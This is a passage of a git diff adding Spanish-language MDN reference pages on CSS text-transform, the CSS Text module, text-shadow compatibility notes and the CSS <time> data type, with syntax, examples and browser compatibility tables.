+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Gecko teóricamente soporta sombras de texto infinitas (no lo intente). Gecko 2 {{geckoRelease("2.0")}} y superiores limitan el radio de difuminación a 300 por razones de rendimiento. Si el valor &lt;color&gt; no es especificado, Gecko usará el valor de la propiedad {{cssxref("color")}} del elemento.</p>
+
+<p>[2] Opera soporta un máximo de 6-9 sombras de texto por motivos de rendimiento. El radio de difuminación está limitado a 100px. Opera 9.5 a 10.1 utiliza el antiguo orden en reversa de dibujado (CSS2, la primera sombra en aplicar es la última que se define).</p>
+
+<p>[3] Internet Explorer 5.5 soporta la propiedad <a class="external" href="http://msdn.microsoft.com/en-us/library/ms673539(loband).aspx"><code>Shadow</code> and <code>DropShadow</code> Filter</a> de Microsoft.</p>
+
+<p>[4] En Safari, cualquier sombra que no especifique explícitamente un color es transparente. Safari 1.1 a 3.2 sólo soportan una sombra de texto (muestra la primera definida en la propiedad e ignora al resto). Safari 4.0 (WebKit 528) y superiores soportan múltiples sombras de texto.<br>
+ Konqueror soporta sombras de texto desde la versión 3.4.</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{cssxref("box-shadow")}}</li>
+</ul>
diff --git a/files/es/web/css/text-transform/index.html b/files/es/web/css/text-transform/index.html
new file mode 100644
index 0000000000..342d952edf
--- /dev/null
+++ b/files/es/web/css/text-transform/index.html
@@ -0,0 +1,499 @@
+---
+title: text-transform
+slug: Web/CSS/text-transform
+tags:
+  - CSS
+  - Layout
+  - Propiedad CSS
+  - Referencia
+  - Texto
+translation_of: Web/CSS/text-transform
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad CSS <strong><code>text-transform</code></strong> especifica el cambio entre mayúsculas y minúsculas del texto de un elemento. Puede ser usada para que un texto aparezca completamente en mayúsculas, en minúsculas, o con la primera letra de cada palabra en mayúscula.</p>
+
+<p>La propiedad <code>text-transform</code> toma en cuenta las reglas específicas del idioma, como:</p>
+
+<ul>
+ <li>
+  <p>en lenguas turcas, como turco (<code>tr</code>), azerí (<code>az</code>), tártaro de Crimea (<code>crh</code>), tártaro de Volga (<code>tt</code>), y baskir (<code>ba</code>), hay dos tipos de i, con y sin punto, y dos pares de mayúscula/minúscula: <code>i</code>/<code>İ</code> e <code>ı</code>/<code>I</code>.</p>
+ </li>
+ <li>
+  <p>En alemán (<code>de</code>), la <code>ß</code> se vuelve <code>SS</code> en mayúsculas.</p>
+ </li>
+ <li>
+  <p>En holandés (<code>nl</code>), el dígrafo <code>ij</code> se vuelve <code>IJ</code>, aún con <code>text-transform: capitalize</code>, que solamente convierte la primera letra de una palabra en mayúsculas.</p>
+ </li>
+ <li>
+  <p>En griego (<code>el</code>), las vocales pierden su acento cuando la palabra completa está en mayúsculas (<code>ά</code>/<code>Α</code>), excepto por la eta disyuntiva (<code>ή</code>/<code>Ή</code>). Además, los diptongos con acento en la primera vocal cambian el acento por diéresis en la segunda vocal (<code>άι</code>/<code>ΑΪ</code>).</p>
+ </li>
+ <li>
+  <p>En griego (<code>el</code>), el caracter sigma en minúscula tiene dos formas: <code>σ</code> y <code>ς</code>. <code>ς</code> es usada solamente cuando la sigma termina la palabra. Cuando se aplica <code>text-transform: lowercase</code> a una sigma mayúscula (<code>Σ</code>), el navegador necesita elegir la minúscula correcta de acuerdo con el contexto.</p>
+ </li>
+</ul>
+
+<p>Por otro lado, algunas reglas de mapeo específicas no son tomada en cuenta por ningun navegador, como:</p>
+
+<ul>
+ <li>en gaélico (<code>ga</code>), una letra prefijo se mantiene en minúsculas cuando la inicial base es convertida a mayúscula, así, en este ejemplo, el símbolo <code>h-</code> no debería cambiar a mayúscula: <code>text-transform: uppercase</code> cambiará <code>Meud na h-aplacaid</code> a <code>MEUD NA H-APLACAID</code>, lo cual viola las reglas ortográficas, cuando debería ser <code>MEUD NA h-APLACAID.</code></li>
+</ul>
+
+<p>El idioma es definido por el atributo HTML <code>lang</code> o el atributo <code>xml:lang</code>.</p>
+
+<p>El soporte para estos casos específicos varía de un navegador a otro, véase la <a href="#Compatibilidad_de_navegadores">tabla de compatibilidad de navegadores</a>.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintáxis">Sintáxis</h2>
+
+<pre class="brush: css">/* Valores clave */
+text-transform: capitalize;
+text-transform: uppercase;
+text-transform: lowercase;
+text-transform: none;
+text-transform: full-width;
+
+/* Valores globales */
+text-transform: inherit;
+text-transform: initial;
+text-transform: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>capitalize</code></dt>
+ <dd>
+ <p>Es una palabra clave que fuerza a que la primera <em>letra</em> de cada palabra sea convertida a mayúscula. EL resto de caracteres no es modificado; eso significa que mantienen su tamaño original, como haya sido escrito en el texto del elemento. Una letra es cualquier caracter Unicode que sea parte de la categoría general de Letras o Números {{experimental_inline}}: esto excluye cualquier signo de puntuación o símbolos al principio de la palabra.</p>
+
+ <div class="note">Los autores no deben esperar que <code class="css">capitalize</code> siga las convenciones de título específicas del lenguaje (como lo es en inglés el excluir artículos).</div>
+ </dd>
+ <dt><code>uppercase</code></dt>
+ <dd>Es una palabra clave que fuerza a todos los caracteres a ser convertidos a mayúsculas.</dd>
+ <dt><code>lowercase</code></dt>
+ <dd>Es una palabra clave que fuerza a todos los caracteres a ser convertidos a minúsculas.</dd>
+ <dt><code>none</code></dt>
+ <dd>Es una palabra clave que previene que sea cambiado el tamaño de los caracteres.</dd>
+ <dt><code>full-width</code> {{experimental_inline}}</dt>
+ <dd>Es una palabra clave que fuerza que la escritura de un caracter, principalmente ideogramas y del alfabeto latín, abarque el espacio dentro de un cuadro, permitiendo que queden alineados al alfabeto asiático del este (como el chino o japonés).</dd>
+
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="none" name="none"><code>none</code></h3>
+
+<pre class="brush: html">&lt;p&gt;Initial String
+  &lt;strong&gt;<code>Lorem ipsum dolor sit amet, consectetur adipisicing elit, ...&lt;/strong&gt;
+&lt;/p&gt;</code>
+&lt;p&gt;text-transform: none
+  &lt;strong&gt;&lt;span&gt;<code>Lorem ipsum dolor sit amet, consectetur adipisicing elit, ...</code>&lt;/span&gt;&lt;/strong&gt;
+&lt;/p&gt;
+</pre>
+
+<pre class="brush: css">span {
+  text-transform: none;
+}
+strong { float: right; }</pre>
+
+<p>Esto muestra ninguna transformación de texto.</p>
+
+<p>{{ EmbedLiveSample('none', '100%', '100px') }}</p>
+
+<h3 id="capitalize_(General)" name="capitalize_(General)"><code>capitalize</code> (General)</h3>
+
+<pre class="brush: html">&lt;p&gt;Initial String
+  &lt;strong&gt;<code>Lorem ipsum dolor sit amet, consectetur adipisicing elit, ...&lt;/strong&gt;
+&lt;/p&gt;</code>
+&lt;p&gt;text-transform: capitalize
+<code>  &lt;strong&gt;</code>&lt;span&gt;<code>Lorem ipsum dolor sit amet, consectetur adipisicing elit, ...</code>&lt;/span&gt;<code>&lt;/strong&gt;</code>
+&lt;/p&gt;</pre>
+
+<pre class="brush: css">span {
+  text-transform: capitalize;
+}
+strong { float: right; }</pre>
+
+<p>Esto muestra un texto con la primera letra de cada palabra en mayúsculas.</p>
+
+<p>{{ EmbedLiveSample('capitalize_(General)', '100%', '100px') }}</p>
+
+<h3 id="capitalize_(Punctuation)" name="capitalize_(Punctuation)"><code>capitalize</code> (Puntuación)</h3>
+
+<pre class="brush: html">&lt;p&gt;Initial String
+  &lt;strong&gt;<code>(this) “is” [a] –short– -test- «for» *the* _css_ ¿capitalize? ?¡transform!</code><code>&lt;/strong&gt;
+&lt;/p&gt;</code>
+&lt;p&gt;text-transform: capitalize
+  <code>&lt;strong&gt;</code>&lt;span&gt;<code>(this) “is” [a] –short– -test- «for» *the* _css_ ¿capitalize? ?¡transform!</code>&lt;/span&gt;<code>&lt;/strong&gt;</code>
+&lt;/p&gt;</pre>
+
+<pre class="brush: css">span {
+  text-transform: capitalize;
+}
+strong { float: right; }</pre>
+
+<p>Esto muestra cómo la puntuación inicial de una palabra es ignorada. La palabra clave busca la primera letra, que es el primer caracter Unicode que forma parte de la categoría general de Letras o Números.</p>
+
+<p>{{ EmbedLiveSample('capitalize_(Punctuation)', '100%', '100px') }}</p>
+
+<h3 id="capitalize_(Symbols)" name="capitalize_(Symbols)"><code>capitalize</code> (Símbolos)</h3>
+
+<pre class="brush: html">&lt;p&gt;Initial String
+  &lt;strong&gt;<code>ⓐⓑⓒ (ⓓⓔⓕ) —ⓖⓗⓘ— ⓙkl</code><code>&lt;/strong&gt;
+&lt;/p&gt;</code>
+&lt;p&gt;text-transform: capitalize
+  <code>&lt;strong&gt;</code>&lt;span&gt;<code>ⓐⓑⓒ (ⓓⓔⓕ) —ⓖⓗⓘ— ⓙkl</code>&lt;/span&gt;<code>&lt;/strong&gt;</code>
+&lt;/p&gt;</pre>
+
+<pre class="brush: css">span {
+  text-transform: capitalize;
+}
+strong { float: right; }</pre>
+
+<p>Esto muestra cómo los símbolos iniciales son ignorados. La palabra clave busca la primera letra, que es primera caracter Unicode que forma parte de la categoría general de Letras o Números.</p>
+
+<p>{{ EmbedLiveSample('capitalize_(Symbols)', '100%', '100px') }}</p>
+
+<h3 id="capitalize_(Dutch_ij_digraph)" name="capitalize_(Dutch_ij_digraph)"><code>capitalize</code> (Dígrafo <em>ij</em> holandés)</h3>
+
+<pre class="brush: html">&lt;p&gt;Initial String
+  &lt;strong lang="nl"&gt;<code>The Dutch word: "<span lang="nl">ijsland</span>" starts with a digraph.</code><code>&lt;/strong&gt;
+&lt;/p&gt;</code>
+&lt;p&gt;text-transform: capitalize
+  <code>&lt;strong&gt;</code>&lt;span lang="nl"&gt;<code>The Dutch word: "<span lang="nl">ijsland</span>" starts with a digraph.</code>&lt;/span&gt;<code>&lt;/strong&gt;</code>
+&lt;/p&gt;</pre>
+
+<pre class="brush: css">span {
+  text-transform: capitalize;
+}
+strong { float: right; }</pre>
+
+<p>Esto muestra cómo el dígrafo holandés <em>ij</em> debe ser manejado como una sola letra.</p>
+
+<p>{{ EmbedLiveSample('capitalize_(Dutch_ij_digraph)', '100%', '100px') }}</p>
+
+<h3 id="uppercase_(General)" name="uppercase_(General)"><code>uppercase</code> (General)</h3>
+
+<pre class="brush: html">&lt;p&gt;Initial String
+  &lt;strong&gt;<code>Lorem ipsum dolor sit amet, consectetur adipisicing elit, ...</code><code>&lt;/strong&gt;
+&lt;/p&gt;</code>
+&lt;p&gt;text-transform: uppercase
+  <code>&lt;strong&gt;</code>&lt;span&gt;<code>Lorem ipsum dolor sit amet, consectetur adipisicing elit, ...</code>&lt;/span&gt;<code>&lt;/strong&gt;</code>
+&lt;/p&gt;</pre>
+
+<pre class="brush: css">span {
+  text-transform: uppercase;
+}
+strong { float: right; }</pre>
+
+<p>Esto muestra la transformación de texto a mayúsculas.</p>
+
+<p>{{ EmbedLiveSample('uppercase_(General)', '100%', '100px') }}</p>
+
+<h3 id="uppercase_(Greek_Vowels)" name="uppercase_(Greek_Vowels)"><code>uppercase</code> (Vocales griegas)</h3>
+
+<pre class="brush: html">&lt;p&gt;Initial String
+  &lt;strong&gt;<code>Θα πάμε στο "Θεϊκό φαΐ" ή στη "Νεράιδα"</code><code>&lt;/strong&gt;
+&lt;/p&gt;</code>
+&lt;p&gt;text-transform: uppercase
+  <code>&lt;strong&gt;</code>&lt;span&gt;<code>Θα πάμε στο "Θεϊκό φαΐ" ή στη "Νεράιδα"</code>&lt;/span&gt;<code>&lt;/strong&gt;</code>
+&lt;/p&gt;</pre>
+
+<pre class="brush: css">span {
+  text-transform: uppercase;
+}
+strong { float: right; }</pre>
+
+<p>Esto muestra cómo las vocales griegas, excepto la disyuntiva <em>eta</em> no deben tener acento, y el acento de la primera vocal en un par de vocales se convierte a diéresis en la segunda vocal.</p>
+
+<p>{{ EmbedLiveSample('uppercase_(Greek_Vowels)', '100%', '100px') }}</p>
+
+<h3 id="lowercase_(General)" name="lowercase_(General)"><code>lowercase</code> (General)</h3>
+
+<pre class="brush: html">&lt;p&gt;Initial String
+  &lt;strong&gt;<code>Lorem ipsum dolor sit amet, consectetur adipisicing elit, ...</code><code>&lt;/strong&gt;
+&lt;/p&gt;</code>
+&lt;p&gt;text-transform: lowercase
+  <code>&lt;strong&gt;</code>&lt;span&gt;<code>Lorem ipsum dolor sit amet, consectetur adipisicing elit, ...</code>&lt;/span&gt;<code>&lt;/strong&gt;</code>
+&lt;/p&gt;</pre>
+
+<pre class="brush: css">span {
+  text-transform: lowercase;
+}
+strong { float: right; }</pre>
+
+<p>Esto muestra la transformación de texto a minúsculas.</p>
+
+<p>{{ EmbedLiveSample('lowercase_(General)', '100%', '100px') }}</p>
+
+<h3 id="lowercase_(Greek_Σ)" name="lowercase_(Greek_Σ)"><code>lowercase</code> (Σ griega)</h3>
+
+<pre class="brush: html">&lt;p&gt;Initial String
+  &lt;strong&gt;<code>Σ IS A greek LETTER that appears SEVERAL TIMES IN ΟΔΥΣΣΕΥΣ.</code><code>&lt;/strong&gt;
+&lt;/p&gt;</code>
+&lt;p&gt;text-transform: lowercase
+  <code>&lt;strong&gt;</code>&lt;span&gt;<code>Σ IS A greek LETTER that appears SEVERAL TIMES IN ΟΔΥΣΣΕΥΣ.</code>&lt;/span&gt;<code>&lt;/strong&gt;</code>
+&lt;/p&gt;</pre>
+
+<pre class="brush: css">span {
+  text-transform: lowercase;
+}
+strong { float: right; }</pre>
+
+<p>Esto muestra cómo el caracter griego sigma (<code>Σ</code>) es trsnformado a sigma minúscula regular (<code>σ</code>) o a la variante de final de palabra (<code>ς</code>), conforme al contexto.</p>
+
+<p>{{ EmbedLiveSample('lowercase_(Greek_Σ)', '100%', '100px') }}</p>
+
+<h3 id="full-width_(General)" name="full-width_(General)"><code>full-width</code> (General)</h3>
+
+<pre class="brush: html">&lt;p&gt;Initial String
+  &lt;strong&gt;0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&amp;()*+,-./:;&lt;=&gt;?@{|}~<code>&lt;/strong&gt;
+&lt;/p&gt;</code>
+&lt;p&gt;text-transform: full-width
+  <code>&lt;strong&gt;</code>&lt;span&gt;0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&amp;()*+,-./:;&lt;=&gt;?@{|}~&lt;/span&gt;<code>&lt;/strong&gt;</code>
+&lt;/p&gt;</pre>
+
+<pre class="brush: css">span {
+  text-transform: full-width;
+}
+strong { width: 100%; float: right; }</pre>
+
+<p>Algunos caracteres existen en dos formas, de anchura normal y de anchura completa, con diferentes puntos de código en Unicode. La versión de anchura completa es usada para facilitar la mezcla con caracteres ideográficos asiáticos.</p>
+
+<p>{{ EmbedLiveSample('full-width_(General)', '100%', '175px') }}</p>
+
+<h2 id="Sobre_Accesibilidad">Sobre Accesibilidad</h2>
+
+<p>Usuarios con discapacidades cognitivas como dislexia pueden encontrar dificultad al leer textos largos cuando se aplica la propiedad <code>text-transform</code> con el valor de <code>uppercase</code>.</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-visual-presentation.html" rel="noopener">Understanding Success Criterion 1.4.8 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Text', '#text-transform', 'text-transform')}}</td>
+   <td>{{Spec2('CSS4 Text')}}</td>
+   <td>De {{SpecName('CSS3 Text', '#text-transform', 'text-transform')}}, se añade la palabra clave <code>full-size-kana</code> y permite que la palabra clave <code>full-width</code> sea usada junto con otro valor.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Text', '#text-transform', 'text-transform')}}</td>
+   <td>{{Spec2('CSS3 Text')}}</td>
+   <td>De {{SpecName('CSS2.1', 'text.html#caps-prop', 'text-transform')}}, se extienden las letras a cualquier caracter unicode en la categoría general de Números o Letras. Modifica el comportamiento de <code>capitalize</code> para aplicarse a la primera letra de la palabra, ignorando símbolos iniciales. Añade la palabra clave <code>full-width</code> para facilitar la mezcla entre caracteres ideográficos y caracteres alfabéticos.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'text.html#caps-prop', 'text-transform')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>De {{SpecName('CSS1', '#text-transform', 'text-transform')}}, extiende las letras a alfabetos no latinos bicamerales</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#text-transform', 'text-transform')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1")}}</td>
+   <td>4.0</td>
+   <td>7.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td><code>capitalize</code> (versión de CSS3)</td>
+   <td>{{CompatUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatGeckoDesktop("14")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}<sup>[1]</sup></td>
+  </tr>
+  <tr>
+   <td><code>full-size-kana</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>full-width</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("19")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>ß</code> → <code>SS</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>i</code> → <code>İ</code> e <code>ı</code> → <code>I</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("14")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Dígrafo holandés <code>IJ</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("14")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Letras griegas acentuadas</td>
+   <td>30</td>
+   <td>{{CompatGeckoDesktop("15")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>Σ</code> → <code>σ</code> o término de palabra <code>ς</code></td>
+   <td>30</td>
+   <td>{{CompatGeckoDesktop("14")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>6.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoMobile("1")}}</td>
+   <td>6.0</td>
+   <td>6.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td><code>capitalize</code> (versión de CSS3)</td>
+   <td>{{CompatUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatGeckoMobile("14")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}<sup>[1]</sup></td>
+  </tr>
+  <tr>
+   <td><code>full-size-kana</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>full-width</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("19")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>ß</code> → <code>SS</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("1")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>i</code> → <code>İ</code> e <code>ı</code> → <code>I</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("14")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Dígrafo holandés <code>IJ</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("14")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Letras griegas acentuadas</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>Σ</code> → <code>σ</code> o término de palabra <code>ς</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("14")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] La palabra clave <code>capitalize</code> fue pobremente especificada en CSS 1 y CSS 2.1. Había diferencias entre navegadores en la forma en que se calculaba la primera letra (Firefox consideraba - y _ como letras, pero los otros navegadores no. Tango Webkit como Gecko consideraban incorrectamente símbolos basados en letra, por ejemplo <code>ⓐ,</code> como letras reales. Internet Explorer 9 fue el que se apegó más a la definición de CSS 2, pero con algunos casos extraños). Definiendo detalladamente el comportamiento correcto, el Nivel 3 de Textos CSS clarifica estas confusiones. La línea <code>capitalize</code> en la tabla de compatibilidad de navegadores contiene la versión de los distintos motores en la que comenzaron a soportar este comportamiento mejor definido.</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{cssxref("font-variant")}}</li>
+</ul>
diff --git a/files/es/web/css/texto_css/index.html b/files/es/web/css/texto_css/index.html
new file mode 100644
index 0000000000..f0c3c934b6
--- /dev/null
+++ b/files/es/web/css/texto_css/index.html
@@ -0,0 +1,123 @@
+---
+title: Texto CSS
+slug: Web/CSS/Texto_CSS
+tags:
+  - CSS
+  - Texto CSS
+  - Vista general
+translation_of: Web/CSS/CSS_Text
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>Texto CSS </strong> es el módulo de CSS que define cómo realizar la manipulación de elementos de texto como los saltos de línea, la justificación, la alineación, la gestión de espacios en blanco y las transformaciones de texto.</p>
+
+<h2 id="Referencia">Referencia</h2>
+
+<h3 id="Propiedades">Propiedades</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("hyphens")}}</li>
+ <li>{{cssxref("letter-spacing")}}</li>
+ <li>{{cssxref("line-break")}}</li>
+ <li>{{cssxref("overflow-wrap")}}</li>
+ <li>{{cssxref("tab-size")}}</li>
+ <li>{{cssxref("text-align")}}</li>
+ <li>{{cssxref("text-align-last")}}</li>
+ <li>{{cssxref("text-indent")}}</li>
+ <li>{{cssxref("text-size-adjust")}}</li>
+ <li>{{cssxref("text-transform")}}</li>
+ <li>{{cssxref("white-space")}}</li>
+ <li>{{cssxref("word-break")}}</li>
+ <li>{{cssxref("word-spacing")}}</li>
+ <li>{{cssxref("word-wrap")}}</li>
+</ul>
+</div>
+
+<h2 id="Guías">Guías</h2>
+
+<p><em>None.</em></p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Logical Properties')}}</td>
+   <td>{{Spec2('CSS Logical Properties')}}</td>
+   <td>Actualiza varias propiedades para que sean independientes de la direccionalidad del texto.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Text')}}</td>
+   <td>{{Spec2('CSS3 Text')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'text.html')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Definición Inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>3</td>
+   <td>3.5</td>
+   <td>1.0 (85)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>1.0 (85)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/css/time/index.html b/files/es/web/css/time/index.html
new file mode 100644
index 0000000000..9bdf3f145d
--- /dev/null
+++ b/files/es/web/css/time/index.html
@@ -0,0 +1,84 @@
+---
+title: <time>
+slug: Web/CSS/time
+tags:
+  - CSS
+  - Presentación
+  - Referencia
+  - Tipo de Dato CSS
+  - Web
+translation_of: Web/CSS/time
+---
+<div>{{CSSRef}}</div>
+
+<p>El <a href="/es/docs/Web/CSS/CSS_Types">tipo de dato</a> <strong><code>&lt;time&gt;</code></strong> de <a href="/es/docs/Web/CSS">CSS</a> representa un valor de tiempo expresado en segundos o milisegundos. Se usa en {{cssxref("animation")}}, {{cssxref("transition")}} y propiedades relacionadas.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<p>El tipo de datos <code>&lt;time&gt;</code> consta de un {{cssxref("&lt;number&gt;")}} seguido de una de las unidades enumeradas a continuación. Opcionalmente, puede estar precedido por un solo signo <code>+</code> o <code>-</code> . Al igual que con todas las dimensiones, no hay espacio entre la unidad literal y el número.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Aunque el número <code>0</code> es siempre el mismo independientemente de la unidad, la unidad no se puede omitir. En otras palabras, <code>0</code> no es válido y no representa <code>0s</code> o <code>0ms</code>.</p>
+</div>
+
+<h3 id="Unidades">Unidades</h3>
+
+<dl>
+ <dt><strong><code id="s">s</code></strong></dt>
+ <dd>Representa un tiempo en segundos. Ejemplos: <code>0s</code>, <code>1.5s</code>, <code>-60s</code>.</dd>
+ <dt><strong><code id="ms">ms</code></strong></dt>
+ <dd>Representa un tiempo en milisegundos. Ejemplos: <code>0ms</code>, <code>150.25ms</code>, <code>-60000ms</code>.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Nota:</strong> Nota: La conversión entre <code>s</code> y <code>ms</code> sigue la lógica <code>1s</code> = <code>1000ms</code>.</p>
+</div>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Tiempos_válidos">Tiempos válidos</h3>
+
+<pre>12s         Entero positivo
+-456ms      Entero negativo
+4.3ms       No entero
+14mS        La unidad no distingue entre mayúsculas y minúsculas, aunque no se recomiendan letras mayúsculas.
